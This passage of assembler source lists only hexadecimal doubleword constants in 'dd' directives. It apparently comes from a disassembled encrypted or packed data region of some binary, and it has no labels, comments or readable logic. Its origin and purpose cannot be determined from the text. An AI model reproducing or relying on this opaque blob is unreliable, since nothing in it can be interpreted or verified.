699A2D47h, 62D001D3h, 60E90E16h dd 3500665Eh, 2839B7C6h, 0F2C25B89h, 8353D39Fh, 2060BFAh dd 510045C5h, 0CB1FDE68h, 0A6E91279h, 49ED5D94h, 600E9D7Bh dd 90D4D68h, 32E963E8h, 0F239403Fh, 5D303BD3h, 853BC89Dh dd 3745C4FBh, 0C7D3EC6Eh, 40557AEFh, 85C82EFh, 91D747D5h dd 478F845Dh, 0A4203C83h, 0DAD3CCEBh, 3F1B45B7h, 0A646D52Dh dd 4F8B583Eh, 268580A6h, 0CB26FC63h, 125B7450h, 80AC42A8h dd 6D54DFF6h, 89CFB209h, 0B6640632h, 59562F1Eh, 45D230C3h dd 0DF5B8957h, 92224C1Eh, 9D3F94B5h, 0D5ECA7EAh, 75279D90h dd 0A3CE1C9Bh, 21AFFCD8h, 0BD4AA48Dh, 98323F53h, 0EEB53EF3h dd 3A549553h, 10815092h, 0AA5D1F7h, 61FADBDCh, 5054C73h dd 0B97E959Dh, 5E6811Bh, 308BF681h, 147D1002h, 0E9334073h dd 14DDAF2Dh, 0C09EF826h, 0C7E381ABh, 634ED97Dh, 7221A3F0h dd 9EEA209h, 8222E5C6h, 339F620Ah, 0D02BE2FDh, 0B5F29709h dd 88220E82h, 8009F937h, 2D2C957Fh, 4AEEF63Eh, 0D694F2BDh dd 61875102h, 0E125E069h, 4D0C1D49h, 2C98170h, 35348458h dd 32A8DC73h, 30348B4Ah, 648902ACh, 2A855563h, 0E022B001h dd 0A060E04h, 4F8F054Ah, 40F40838h, 800DFE80h, 0C081602Dh dd 2918C8BEh, 7ED6108Eh, 513508C6h, 72792018h, 20489F20h dd 1D33A5E0h, 774408B2h, 0E1574071h, 3910CB62h, 425E038Ch dd 6F0D0818h, 8015FF18h, 648049DCh, 6D08C45Dh, 0F4EC0628h dd 0B1986328h, 10186777h, 6808D157h, 4818C431h, 4D6C047Dh dd 84AEA06h, 20358B31h, 99999FD5h, 8DD308BFh, 0A90C6C79h dd 63D84188h, 1880FE0Ch, 4BB38850h, 8EC41C8h, 23082A66h dd 0C6740811h, 10789E0Ch, 290A81Eh, 51388161h, 190198Ch dd 88809C8h, 970C3CEEh, 622F20BEh, 0BD3408A9h, 3DBE102h dd 28189789h, 84085E4Eh, 7D18C687h, 0B2008C5h, 805154DFh dd 9FB8A893h, 0D410C646h, 8562216Dh, 2AD7F18h, 0DC035C8Ch dd 862132A0h, 0C002CC79h, 7080255h, 0F4447E05h, 1805F13Ah dd 59E45891h, 8C43992h, 4F0566E8h, 0C8CC485Eh, 15FB7F08h dd 0AB10C0CAh, 4F3A1036h, 10204118h, 8C638DEh, 311873CEh dd 5008968Fh, 5318886Ah, 98F11598h, 187E0810h, 78209902h dd 108C60Eh, 0BE54187Ah, 1E197DCh, 10888E8Fh, 0EA082C52h dd 9BC40D57h, 4120FF69h, 6B702ADAh, 8CCD54F8h, 5B38807Ch dd 32CB10CDh, 0C43F25F0h, 4A86818h, 2A0E4E43h, 32921930h dd 18F7CC08h, 8CE7518h, 18C40814h, 2004EB5Fh, 276F0479h dd 92187B04h, 9A02CB74h, 24DC4B1Ah, 986C9829h, 551FD1BAh dd 88461C8h, 8A185108h, 0C49E7D91h, 49F5908h, 6404FAACh dd 0D088045Fh, 15D4901Fh, 20E83D65h, 0B1DA6387h, 8193AB0h dd 0B91860FAh, 19118853h, 207F2B61h, 6C74178Eh, 478E104h dd 0CB041DF9h, 0F1A704A1h, 493F204h, 12095C3Bh, 2B84AC22h dd 3109DB24h, 9AE60822h, 1962C903h, 87A9410h, 0E2043586h dd 0B3524448h, 0F051FD81h, 0FC017D6Dh, 0C6142476h, 0F49C6080h dd 27A499E8h, 640906DEh, 0C72BA742h, 3F7C468Eh, 2C4701A7h dd 13EB0275h, 0B90E8D89h, 5E83DA7h, 8F440001h, 0C90B4940h dd 8B1CF775h, 0B7A2474h, 7EF003DEh, 0C0334359h, 4FB10FC0h dd 502C3069h, 0E9510CFAh, 92854A3h, 2DED09Fh, 281C368h dd 75C85A85h, 395FB06Ch, 51EDDB7h, 59648B28h, 70FBAE2h dd 0E9171994h, 5E11C3C7h, 10EAAB0h, 6843B2BCh, 0CAA3E5E1h dd 0B4385B77h, 1A1E4F59h, 0D1D34879h, 7F8829AAh, 8208BC0Bh dd 0C4D895ADh, 601A07B8h, 0CFC15E44h, 4501AF7h, 4634DAF0h dd 0C1EE8021h, 0E83F4B5Ch, 83D7C4C6h, 0CD0038ACh, 557CAC40h dd 50050DBDh, 77E95DD0h, 0BB4AA7BCh, 60072D3Ch, 0EAC2170Bh dd 347B865Eh, 1392718h, 0C08851FFh, 2E75BA22h, 577B1319h dd 1FE5F54Eh, 0D29DA2D8h, 0F739EA8Ch, 0C033253Ah, 2F32DC7Dh dd 8DF8234Eh, 80DCEC5Eh, 10C00EADh, 4A132AE9h, 35F0BDECh dd 0FBDAEA04h, 3C81421Fh, 17C95F2Fh, 0B5030120h, 0FCD4F209h dd 0F8447D52h, 0B0FEE420h, 4A2BEE90h, 729891B8h, 0C9D86B9Dh dd 285E5A54h, 0FC32E9EAh, 7F58104Bh, 0A02F1D6Fh, 73326DFDh dd 0FD862FE9h, 57721EDEh, 68C155F1h, 693B4901h, 73BE0133h dd 1457964Ch, 786A0B3h, 883B0ADFh, 478B8BD7h, 6FCDF901h dd 0FEA322CCh, 0DAF6C20Bh, 73B4F8D0h, 0BEC0250h, 132E5E9h dd 86EE7B55h, 44177808h, 65B3B24h, 454F6942h, 56681D7Ah dd 79E6A36Ah, 0FA4E2EB8h, 13CAB200h, 0D202728h, 0E74AE955h dd 0EA1A812Ch, 7C153843h, 0D7D2E8F0h, 9339F718h, 45D778A8h dd 0F2FDE344h, 92CD3982h, 0A30CAE01h, 9BAFF3Ch, 31EC7258h dd 900C2C50h, 5A357D9Bh, 95710930h, 0E1762952h, 5A4E0820h dd 0CB2F5CE1h, 51300077h, 0B3E97DC1h, 5982A8BCh, 3C763A4Fh dd 0E0D1A27Dh, 258A5EA1h, 0DAE24EEAh, 2E4FE263h, 0B85FB9E8h dd 511C7C0Fh, 0F83A63B1h, 720BE915h, 0A1D75AEEh, 0D74C1BA2h dd 54AFF1E7h, 3A72D061h, 0EF29EDA1h, 31AE2602h, 0F2586A32h dd 14D11263h, 3BB03901h dd 0A87CD1B3h, 13E7C0B0h, 0AEC78008h, 44121C5Fh, 7AF128BEh dd 0D143AD41h, 58DBC2C3h, 0CC014BFFh, 0B301536Ah, 0F0B55160h dd 0F6CCED80h, 5AE910D5h, 80875BDBh, 152BA81h, 713E882Eh dd 0F541E65Ah, 3E346346h, 0C0D1B82Fh, 7BA02CF0h, 29D64F29h dd 0E4D73A03h, 91AC80E9h, 0BD648245h, 61E9BF41h, 436EAFCDh dd 58C2C2D0h, 2D269870h, 535E5FF9h, 20FD648h, 76FA9705h dd 64B72B57h, 0E1107E34h, 563677C2h, 0EE84EC7Dh, 75BE80B0h dd 4179721Eh, 6A116D8Dh, 414DE53Eh, 7C2BC9B2h, 0C3FFA4D6h dd 0ED1E4D01h, 8C0B07E0h, 8DE1FE4Ah, 680C77A7h, 3BE18C3h dd 1E1BB90Eh, 84305039h, 88011C88h, 760EB377h, 696EC380h dd 0A0AB06F3h, 8478B58Dh, 0DD5128F2h, 7379FAE1h, 4EBC94Fh dd 0F9146693h, 61075605h, 0ACCF1B09h, 4E4E1793h, 0BC1FF693h dd 286CB230h, 0A2F264BFh, 0A7A477B4h, 0BBBE9585h, 0F50068Bh dd 14201242h, 7ADCB12Fh, 0B2792404h, 6C75C9EBh, 6AD3E020h dd 0B796A07Eh, 0EA2980FBh, 1390BCD0h, 85042435h, 4113DC8Fh dd 933F0E61h, 0A0722123h, 584C0888h, 51B2E520h, 4FE9DA06h dd 1AB0F44Eh, 0F995C679h, 0D59245B9h, 6EC1EB11h, 0DD30295Ch dd 0CD9F5FDAh, 42E704D1h, 1366C4E6h, 0BDE12C40h, 0A890316h dd 0D5166EB3h, 5F11B6F2h, 0E24AA1CEh, 35354F59h, 0C0EE7664h dd 4E796895h, 0C04B4EB4h, 61FBC50h, 0EEE9626Eh, 0C306D79Eh dd 766F79E2h, 3FA0050Ch, 845D70C5h, 0E7F89839h, 60E55E26h dd 9BB4227h, 2EA99608h, 8128F0E9h, 282C2EBEh, 0BFFE823h dd 0B2798EACh, 0BD2E5281h, 0A7AAA4AAh, 0ED85BEBh, 0E8675EB1h dd 0AF052468h, 8EF0533Bh, 10604E9h, 0DD60F99Dh, 0D3F1FD3h dd 0F3C5017Bh, 822A595Ah, 303BAA0Ch, 4010562h, 92C2DC6Ch dd 0A3FEC3A2h, 0F376DD28h, 9D585A26h, 0C150DB10h, 885925EBh dd 0A4ED540h, 2D5DF19Fh, 0C27958DEh, 0A904AE75h, 0D21CA3AFh dd 0AA33DF09h, 29183A07h, 12BEBAA1h, 7178C559h, 75431955h dd 8E8F7BA5h, 0C2CFE90Bh, 0DFE910F6h, 34686D18h, 46E91813h dd 0F1BB0640h, 0F414260Eh, 0E6FA95C8h, 0B4E6D0D0h, 0BD9B86FAh dd 7A46B804h, 84C04F47h, 12643504h, 17F477A4h, 4064CDD3h dd 3323CDFBh, 0EE810903h, 0C040164Ah, 0B538E94Eh, 51BF5C61h dd 96F861h, 64FED1B7h, 35FD4C7h, 993FDDBDh, 0E07B314Fh dd 20257704h, 0A9110A5Eh, 344BE9C1h, 0CF5CE09Bh, 0F7EADDE2h dd 73D11680h, 49813299h, 1359C2C4h, 604D0368h, 5BBD1E25h dd 0F6318C28h, 0E9740161h, 0E26B2165h, 42C51208h, 1ACD4741h dd 7520627Eh, 783676EDh, 0C9E9257Bh, 68166594h, 0DBCC6163h dd 4EFCF4CEh, 37C2F627h, 0EFD15C48h, 7E88327Fh, 2C0B644Eh dd 228E7DC4h, 0EB512891h, 8EB3104Fh, 0BE143D17h, 5DF6C43Ch dd 0DE3EEDF8h, 0CFF11CF7h, 0F5014BA1h, 0DF35B157h, 4E2056Fh dd 85C71291h, 2B14CD0Ah, 4AFBEEE4h, 2A72407Eh, 6815C579h dd 4B4C7138h, 351C29AEh, 27BD2044h, 57631217h, 6A6C1B00h dd 9DDA3116h, 8107CECCh, 0A61BAEE2h, 12FF0029h, 0B0516F21h dd 67D80412h, 0BA426196h, 84244C1Ch, 4DC726BFh, 53ECE016h dd 0E4D7F01Dh, 5FFA09B5h, 312E6190h, 47FDF781h, 0BFB53482h dd 57D471h, 3810355Ch, 6C186E04h, 1466F82h, 88248C4h, 0DF483260h dd 2B685B80h, 0CE84F86h, 4D101A94h, 0AF63A6ECh, 58FFEFA1h dd 50128A03h, 0F328403Dh, 4E542024h, 10249694h, 0BACC2C12h dd 50C42F68h, 0D425B3E6h, 0E97DF156h, 0E7E9A738h, 0ED838767h dd 28E43E77h, 9A0275EDh, 8972507Ch, 7737B800h, 806D5E03h dd 48E8D130h, 709C173h, 0D162DA68h, 5C6E8090h, 0C8096B18h dd 1B77E913h, 7AD57149h, 0E204A2Ch, 32C9AD9Eh, 0B26810E0h dd 8B39D19Fh, 5C385A54h, 32004AEAh, 0CA015598h, 0D00D31E9h dd 0B1E8D3Ah, 535EE540h, 52E45ED2h, 840DCD5Fh, 0E28961E9h dd 23A6D6CBh, 163C817Ch, 71D0BF08h, 13FF5D20h, 0EF58C601h dd 9DEC876h, 18124ABAh, 137EC582h, 2438268h, 51287A4Ch dd 41B0383Ah, 0DCDBA70Ah, 36E984F8h, 0C968030Fh, 0C5B7164Bh dd 2C60BF0Ah, 4A196038h, 0BA27A435h, 0A1068109h, 0FAA6004Dh dd 1C29F366h, 2B38AAE9h, 516884A0h, 783DE273h, 6B3E6A31h dd 0E216E0D7h, 0D68E039Fh, 43142ECFh, 65EA062Ah, 0DF4FAE18h dd 1955238Ch, 2AB1F3E9h, 0D5847F59h, 73C4188h, 0E9BF1532h dd 2023ED8Ch, 37BBC683h, 122E3208h, 625B0956h, 891AAE94h dd 41CB206Fh, 0AD815399h, 4D4191BDh, 0C1732047h, 229ED4Ch dd 4F1F4EC5h, 22AC40Ah, 0E9575EF1h, 535506EDh, 66226299h dd 59742E0Ch, 3B01A81Dh, 313C7F17h, 0FCD830DEh, 0E9F4CBD3h dd 12D76088h, 0AD1FD9B9h, 5C1F685Ah, 7957FE49h, 5EF342B4h dd 0A517C555h, 36ECF07Ch, 425B12C1h, 46AFA048h, 900CB8B0h dd 0E55AC06h, 0CD7102C6h, 0F129A243h, 205DCC5Fh, 9098FE23h dd 0A257A309h, 4AB77815h, 832AB25Ah, 844D1768h, 782FF7BBh dd 15DEF09h, 9AE71F9h, 572248C1h, 0C82F385Bh, 1C762FA4h dd 2DF5AF08h, 0E1E5978h, 69CD05D7h, 3D7E24D1h, 27562AC9h dd 67E92F90h, 55428274h, 3CC31182h, 7FD7145Dh, 4C664830h dd 815702C9h, 1DE92397h, 0E2ABD054h, 47011D34h, 4A5BC4A5h dd 87C9AC95h, 765B13D7h, 691F66BEh, 5628B804h, 40BB0390h dd 175DF768h, 1138E973h, 501B54BAh, 26146816h, 0CD4F48B3h dd 0EF413E23h, 7EE03D0h, 32A6886Fh, 570138B6h, 0D16461BFh dd 53B21696h, 1600BED3h, 7797203Ah, 58F20681h, 0C01E00Bh dd 7830F501h, 0F8DDE94Ah, 1249F23Ah, 35AF5677h, 84DDAB06h dd 0B9F4F697h, 0EC91505Eh, 9467312h, 0BAB4AFE8h, 3F2EA101h dd 0F8526655h, 0F62089B7h, 0CA554904h, 849EDEF5h, 0C23085B7h dd 0D2745B54h, 0DCB35304h, 0CA3E90FFh, 834EE950h, 20FF5B13h dd 284C3B52h, 0FF012325h, 604B3D99h, 0C082A1C3h, 14579214h dd 0CAA86852h, 0CB5A421Ch, 49222F87h, 0AB0F65C2h, 58F3A991h dd 0BD596A09h, 47750256h, 0DDC10EA4h, 0D7FC2C9Ah, 0AEE465FEh dd 26E9A3DCh, 921FE16Fh, 90921F59h, 80017740h, 0CEFE8BC6h dd 0EBCD6F6h, 0ED0FCCFh, 55E91A04h, 10A04CADh, 0CA4E3B8Dh dd 0A70634C0h, 0C4FCF3BFh, 89AFAB05h, 0D5374016h, 687EF602h dd 648B582Eh, 82867CA5h, 7F361996h, 0ED11C875h, 899050E4h dd 16F99031h, 24972AE9h, 0F828BA9Bh, 46B327E9h, 0FA9275D9h dd 0C9529D4Fh, 7B37082h, 3E4DC5BDh, 13EAD536h, 5E8F4BBDh dd 0EAEEB35Dh, 0F7B67835h, 2CC881FBh, 0FC5966D0h, 13FFEC41h dd 4BF051E9h, 4A7CCA06h, 12F4DC0Dh, 0F61DA07Eh, 6E2EA409h dd 2094807Fh, 6B9A9D23h, 0B4387AE9h, 98A2225h, 6330DFDEh dd 58260B0h, 0D91EFFD4h, 14D5868Dh, 6E2F982Eh, 3030B14Bh dd 4CF0B75Bh, 182E194Ch, 0CEF181FBh, 2019EB32h, 280496E8h dd 0F9311E3Fh, 8541A2AEh, 0F50901C1h, 68C59847h, 0F526413Bh dd 0BD3F64A1h, 4B72AE09h, 0B58F001Bh, 90A032C2h, 0AF495C01h dd 861E9281h, 0E8D5EC12h, 0C04EABB1h, 144756C2h, 0B79D9021h dd 4D64FE48h, 432D2E27h, 0C1FF9DDBh, 1477325Ah, 0F9055FF8h dd 0FB3D6D14h, 28548D1h, 62EB5780h, 1313040h, 86C88B7h dd 12935817h, 0BE2F4BC1h, 0BC42AF29h, 5F5E0073h, 0E2C3E5D1h dd 91E77241h, 0C8245545h, 0BD760F7h, 0F2CD815Dh, 57E66912h dd 92116D00h dd 5C012009h, 47C41CEFh, 0A00E129Ah, 38F305C5h, 5186C0AEh dd 77BC0D54h, 8C294902h, 0AE23DDF2h, 32F84DC6h, 62BF0133h dd 0E90801FEh, 8F2D6957h, 8339B400h, 94C98108h, 1FAD1209h dd 1D8EF541h, 0B3BEE982h, 99A44F5h, 11386848h, 2D00B446h dd 51FDF58h, 1EC56E09h, 0E8C80173h, 0A0E92507h, 0D2F71202h dd 6B8F2740h, 0B4FA897Fh, 5F1A9362h, 7FE3804Ah, 120F8A12h dd 0FB5AD529h, 6B4F29D8h, 62102FF9h, 5FB3F8EFh, 74545209h dd 5EBBC0E4h, 684C084Fh, 654010BAh, 0D029627Ah, 8380D0F7h dd 587C0DA7h, 0BB844150h, 45DE571Dh, 3CD4E181h, 0C81788Bh dd 22961C8Ch, 47023F49h, 40391E63h, 61612F3Ah, 70E9F838h dd 99F6664h, 3147D968h, 0A3E1A9B8h, 445CC541h, 1E0FF234h dd 0B8513D7Ah, 535B4F38h, 0F2168896h, 6D411A13h, 0F117902h dd 0F54A4080h, 0E03F0719h, 6917E978h, 66EBDF20h, 235B1160h dd 0F75B3DA6h, 44E91310h, 5F555080h, 0DBB8075Dh, 0D2202C6Dh dd 5A59BA65h, 825CFEC9h, 7BBB3233h, 654F2F40h, 0F6772B25h dd 16F76BE5h, 36DF0066h, 0B85029E9h, 9E2DFCE1h, 138F56F7h dd 0BF68C06Ch, 42FA7B41h, 85654DF4h, 0D81E5D14h, 10E5B50Ch dd 5F79010Dh, 6005661Dh, 3189ECC5h, 7BCC34Eh, 345EE9F1h dd 4A5A5A85h, 628FD6C2h, 421054FBh, 310151ABh, 0E02A5EF1h dd 25BE4E18h, 0E7DF327h, 3ACA7ABCh, 0C1E71C82h, 2EE916C6h dd 4BF33248h, 0DC25FFAh, 0F268255Dh, 359EC960h, 0E889179Ch dd 28ED105Ah, 381C2D19h, 14E4F9F8h, 2F9B1804h, 40BA0EE9h dd 2BA5F7B0h, 89395FD1h, 0CB02F9FBh, 10DC0C7Bh, 87FB804Bh dd 1238CAF4h, 0FD1279E9h, 5BDA1885h, 0E183AFF5h, 80070005h dd 0CDFE48C5h, 337061FAh, 53366BE1h, 0FD085FFCh, 885F0484h dd 0D9A77D32h, 8E4C013Ch, 200D8418h, 434BA4E9h, 387831E2h dd 0F5620AC4h, 2801E203h, 21702CD8h, 2BCE81Ch, 808CB551h dd 12548AF5h, 805C691Bh, 0F005EEC0h, 3A2361B9h, 2E5F9768h dd 2D70DD31h, 8694D939h, 680A1B20h, 0A5096C7Bh, 0E557BE0Bh dd 0C8112CCCh, 19E503E9h, 0B820626Bh, 145D4C77h, 0C0274A78h dd 19B5B85Fh, 2D1F51E6h, 0F056FAA3h, 2A21B17h, 42F334CFh dd 806EB5B6h, 0EA2CE758h, 2D18CF59h, 7C5BFA4h, 2926A24Bh dd 7CEEC3F9h, 67B53417h, 146DF30Bh, 0B5799583h, 0E1F05264h dd 64F0BD21h, 15BB2620h, 99D46858h, 1DFD8885h, 59EF03B2h dd 0DC205166h, 685702ABh, 71372292h, 0DC7F40DFh, 80645F21h dd 77185E99h, 0CE0539B0h, 7DEF2B2Ah, 0E0EE61C0h, 4AAA0F23h dd 4A788DE9h, 6613A5B9h, 9E071C07h, 0A95380Fh, 73E92E83h dd 7C3DF8BCh, 1DE3B521h, 967A123Fh, 2CA8E239h, 58B209E4h dd 0E1177BC8h, 4E508282h, 2B2DC046h, 1A450465h, 955FFE29h dd 42E01C5Dh, 0F331AA17h, 5728842h, 0B05A4CB0h, 4CCACF41h dd 32826B2Ch, 180E4432h, 286635Fh, 161FE523h, 19C03E27h dd 0C72D7D97h, 9058D861h, 38C209C4h, 25625B67h, 3EB4EA80h dd 30C04586h, 78175C49h, 5371BD21h, 959D870Ah, 4375FB82h dd 0C1405574h, 702E122Dh, 0D809465Bh, 18848455h, 1EC3530Ah dd 119089BBh, 0A7B10257h, 0BD5D22Fh, 9BE01F5Fh, 97778477h dd 0D1BB9FD0h, 13EC325Dh, 800198F2h, 0B07FEACBh, 0E3EDFE0Fh dd 0C3D97FABh, 0B6873BAEh, 13B76E19h, 600D6268h, 0A14D0CE7h dd 25E1265Ch, 276D5B14h, 0B8F2B4FEh, 4008E9C2h, 63EEB9A9h dd 0F02EDD2Dh, 0B0D7E63Fh, 1EB20016h, 0D5257C9Bh, 5D48D926h dd 46B77F4Eh, 0D3A3E3h, 51561B16h, 8C19E94Dh, 398020DEh dd 317C0353h, 494CF8DDh, 0FC5E7791h, 27A4A200h, 0A8426256h dd 8F685300h, 58D11777h, 60CDF15Bh, 24184C15h, 0CAA21AE7h dd 3A792D3Fh, 112C357Eh, 86402100h, 4B63E964h, 2395447Eh dd 2CFFAAFh, 0EB2E524Ah, 560A4920h, 5FB89A53h, 29862957h dd 44AA9270h, 166B55FFh, 81C3138Ch, 0B70161Ch, 0F7918268h dd 0F1CCC90Eh, 0E302C697h, 5B178715h, 9802CB46h, 0C14E04E6h dd 7305B61Eh, 81EFDB35h, 7E3B540Dh, 0DA0BFFC1h, 4EB7B76Ah dd 0E912ABB6h, 3EA9B591h, 0D6BE4DEh, 0B421F104h, 0E3E04C49h dd 0D1F76D0Fh, 72ECC449h, 0EC109DFEh, 0DAA8624Eh, 512648BBh dd 0C3002E5Fh, 12976925h, 0BA58B74Bh, 5BF198A0h, 2D0342Dh dd 157792h, 981D89BAh, 0D5011C74h, 0C581455Ah, 62ECF00Ch dd 4497B057h, 5BF6C305h, 0DF7C9025h, 6152E211h, 59CC520Ah dd 1038C6D6h, 2D7B37F9h, 32C0780Fh, 6D0662FBh, 0B47E91Ah dd 12BE7330h, 0BC05600Eh, 0EBC10997h, 1CCA5E03h, 0E0CB564Ch dd 0C72FE928h, 0C20853CEh, 0D155EC48h, 927C27FAh, 1F508759h dd 0BA6C15E9h, 0A3B60B4Ah, 0A702F388h, 0C45D2A58h, 6F77A0B2h dd 14D50A7Dh, 1B5D8F7h, 2BA71FF5h, 0F3F9E201h, 60E43542h dd 0C0487F0Ah, 8366E2Eh, 0F726432Dh, 0A51C6ADBh, 15411C4h dd 1313DA04h, 0C8EB7423h, 760B2A7Fh, 1BBA229h, 0F330E908h dd 0EED87F24h, 0FC3859A0h, 0FD79BE27h, 7684B881h, 0F7F410C0h dd 6F619677h, 48BE86A2h, 0CB88887Dh, 0A2667001h, 0C2DA0145h dd 5808044Ch, 496E1EBBh, 59C8E637h, 0A3124E4h, 884D182Ch dd 497DB800h, 0D421801h, 34D1209Ch, 52809644h, 12F2C22Dh dd 0B6094792h, 4813E52h, 4FB591EEh, 0F2AA3E84h, 2DEA83D9h dd 421F303h, 0A847D60Ch, 1FE1EB11h, 800C0806h, 0B0515D14h dd 2B9509ECh, 165D466Fh, 92C706F1h, 0C791017h, 0ADBD8305h dd 48C18999h, 31019FB8h, 0E42C6FF7h, 0AE3658Dh, 0F182F85Ch dd 3A38A3E9h, 86AED84Bh, 0F98B69Ah, 9190F0B5h, 9B5E498Dh dd 0EE305FC9h, 8091B56Dh, 89BE5C4Bh, 7256772Ah, 6638E95Bh dd 51D6B988h, 0FE2DAD00h, 0EA76B402h, 4A4C3158h, 6F32A19Eh dd 0BA2CF198h, 531E403Dh, 50D5558h, 6B3C6E63h, 91392BC8h dd 0DC6861CCh, 0C1463C28h, 7898714Bh, 10FFC36Ah, 0E6B068DBh dd 0CA2F6705h, 1E857427h, 0EC89E83Ah, 7658012Fh, 0F7EE8714h dd 560893D5h, 6919E952h, 50805E0Bh, 739C217Ah, 0ED316852h dd 4D1BF123h, 80BDF32Fh, 0C140C568h, 3C479336h, 6E812h dd 83DD6D8h, 0E637E96Fh, 0BFEE3825h, 72B1BEAEh, 0FEC4FBBAh dd 0A5AD32E9h, 0A9DD5F22h, 4E08166Bh, 6179EB56h, 82EC3454h dd 69CC68F0h, 9002EF93h, 42297764h, 74B840B2h, 0D6882D9Bh dd 1027056h, 0F0BBE9C6h, 264060EEh, 61459535h, 820E7169h dd 0BB5FEF7h, 40020EE1h, 9C44373Bh, 7868181Ch, 0CB59A561h dd 0F153B660h, 86B80271h, 1B7F00Fh, 0F3C62B68h, 5F331D13h dd 0A2EED6E0h, 2E2AC308h, 5F50A2h, 394673B7h, 56009EB8h dd 0E83137D7h, 0BBF89BE9h, 0BC511616h, 12503FE0h, 0E6F44F89h dd 47ABAC4h, 0A84DB9BAh, 4206C753h, 525CA966h, 0DC0A6202h dd 41DD03Bh, 0B7B46EADh, 0ED2CEB89h, 0B536B021h, 3B3F5951h dd 5E71AD8Fh, 5CB383D6h, 0E64C3119h, 89977A8Dh, 0C947F678h dd 49CEC675h, 0E908440Bh, 792C75A2h, 91FDDA3Bh, 1EC1EF92h dd 0FD6935A8h, 2639D005h, 8ED00940h, 9717145Dh, 30D5B742h dd 0D2C8A97Dh, 0E036B81Ch, 95FF54E9h, 2806DA6Eh, 348368D8h dd 0F53220A9h, 65125A4Ah, 0E9F0E9F8h, 0B9B1EB7Ch, 1144519Eh dd 7DD0109h, 1231807Bh, 0DAA041EDh, 0EC967818h, 0A5BF5740h dd 809E500Ch, 13720EEh, 7A59CF0Ah, 0EF01C54Ch, 6C5C42E5h dd 12BBF7F0h, 0B0B15377h dd 67EA05D9h, 2221E5Ch, 7EA1FA4h, 13CC229h, 73906807h dd 0FE055C26h, 10BDD3Ch, 6D1B4F91h, 2C0C817Eh, 0E979905Dh dd 888F08F5h, 0F654E889h, 77059910h, 0F6709F90h, 0FC71229Fh dd 62D87476h, 0B074CCABh, 7184FFC9h, 18FFE873h, 9C44E829h dd 881ECB90h, 0C5FEBC80h, 163AB050h, 0D326FF30h, 405205A1h dd 27308F4Fh, 82863C7Eh, 29130F8Ah, 0DE345BDEh, 0EE685DF4h dd 0EED7A81Bh, 0D10AC5C1h, 72CA07E3h, 807F595Fh, 0B80E1453h dd 56500210h, 80271268h, 0CE002EDCh, 2A307091h, 0AEE54EE9h dd 0DB3A9F46h, 0AC53FA1h, 0EE95CA6h, 0DE226FEDh, 16405A51h dd 0D5A049B6h, 0BD2B235h, 45E6C9BAh, 94648785h, 0CB19B43Bh dd 0FCB9F45Eh, 0F51341D4h, 0D835E16Fh, 1424549Bh, 6125C109h dd 0FC2B585Ah, 1982F3Fh, 0C0D8F6C4h, 13CAF06Bh, 53C950EBh dd 6B03F85Dh, 0D23C3E2Dh, 58FBFA69h, 60559090h, 6A72C458h dd 62FC01F8h, 525CB8BAh, 4160012Ah, 4F5F599Eh, 91396CF8h dd 0A7E325B6h, 7017E3E9h, 7C0F8DD9h, 32C1789Fh, 6E6A6880h dd 0F41A4AFDh, 0D23FF35Fh, 52670E14h, 0DBADBCE9h, 48103DBEh dd 69BC5AFEh, 2118C902h, 0FA007234h, 17F3B5FDh, 0B859CE01h dd 76D2E4D1h, 0E9DAA18Ch, 84C35578h, 4F6ADBFAh, 83C35FB2h dd 799102E9h, 1CDD6BBFh, 136DA62Ah, 13206E95h, 0E0934BDFh dd 6AE1605h, 3AA80667h, 0F7047332h, 41B8A63Eh, 0E0FF13BBh dd 0B93AC38Bh, 0E268AE3Bh, 9C0FF881h, 0E7F95F05h, 10AA5CD8h dd 5D7F774h, 578F2379h, 7143DCC6h, 887DB259h, 2D55E4F7h dd 8A7C60F4h, 5D459F82h, 3F7F70CBh, 39132405h, 718504Fh dd 0E4B40C4Ch, 0A5AAF62h, 0EF4B58B7h, 7CFA8461h, 0DADEA63Bh dd 5E65D72Bh, 0E70BF22Ch, 0B9E776E5h, 84881D4Fh, 0ED1BF5BDh dd 0D0628424h, 0C51EA013h, 43624B98h, 5C870B80h, 0C06850BEh dd 6EB3765Bh, 8098D25h, 2C8FCDD5h, 0A675A4Ch, 51DCE905h dd 5F5B7A49h, 34D57409h, 0C0204B4Fh, 0D0215FDCh, 0B5B2CC95h dd 1A250E68h, 9F824D3h, 6D27E9B8h, 31C3C62Ah, 80402718h dd 97270C2h, 0D0DD4569h, 1EBC34ECh, 618AEF20h, 0B7515A13h dd 621C8955h, 0C0B6F712h, 4CEA3020h, 0F71E5259h, 151E9BDDh dd 97A782CCh, 9D0BCB7Ah, 0DE644639h, 25E94272h, 5D4A9EF0h dd 0FC93E7F9h, 20A9D436h, 0A061C9D6h, 0A9B819A1h, 2D9E6027h dd 8CCCE109h, 939AD5E8h, 54B3C361h, 0A07990C2h, 40BD1277h dd 0FAD14555h, 0F16AD3A2h, 0F3828395h, 2DE07h, 0F6CF472Eh dd 139F2DBBh, 6A55AB2Ch, 5A070514h, 51075DA8h, 3431B6B9h dd 423A84Eh, 85E0919h, 2F4413A1h, 63EF3DABh, 9680973h dd 88E9F123h, 7C25FAFFh, 0CA6A6B8h, 6A2FF14Fh, 0CD3C6344h dd 0C088E74Ch, 3D0A3B6Ch, 0E7D1F749h, 0BDF113B4h, 0A464B93Eh dd 7527C2BAh, 660909F6h, 0F39E8FFh, 84182E4h, 51302E3Ch dd 13FE6850h, 2C274272h, 9A003502h, 2D41BD16h, 16B63463h dd 0A01FE962h, 22B9584Fh, 3FC445A5h, 2177DE31h, 0ECDADCCBh dd 81A52C99h, 1570684Ah, 0C7E0316Bh, 2D4B7D82h, 0B0A4DA8Fh dd 6061FC3Ch, 9ABE1C7Fh, 2D01A326h, 3B6AF681h, 2C78377Dh dd 29A8CE04h, 0B505EA10h, 8D58AED2h, 1C16EE1Ch, 655A3C08h dd 0AC280DEh, 0F8E7F769h, 55299020h, 0BF83D51Bh, 0E9C73B28h dd 0C3FAEFD1h, 0A06A0A9h, 6F89486Ah, 0F44E713Eh, 44022B54h dd 88684DF1h, 12CB4849h, 0EF51CE6Fh, 0CE2BF84Fh, 55AD79A3h dd 9A36B812h, 5F80E72Ch, 813A7535h, 7201344Ah, 72277844h dd 49567CE3h, 98224E84h, 6709E517h, 770902A3h, 0C9B76DC6h dd 76E52E9h, 99D15DE0h, 24EB8700h, 4F984D28h, 0B5FB7D20h dd 3E593CE1h, 34AE0216h, 67AAC0B7h, 7D5B0A32h, 3D7136E8h dd 17F24D1Bh, 0A47A91E9h, 4E408E88h, 40F76853h, 1F1909FAh dd 2F449022h, 1E8B402Bh, 6A4C0951h, 8F294159h, 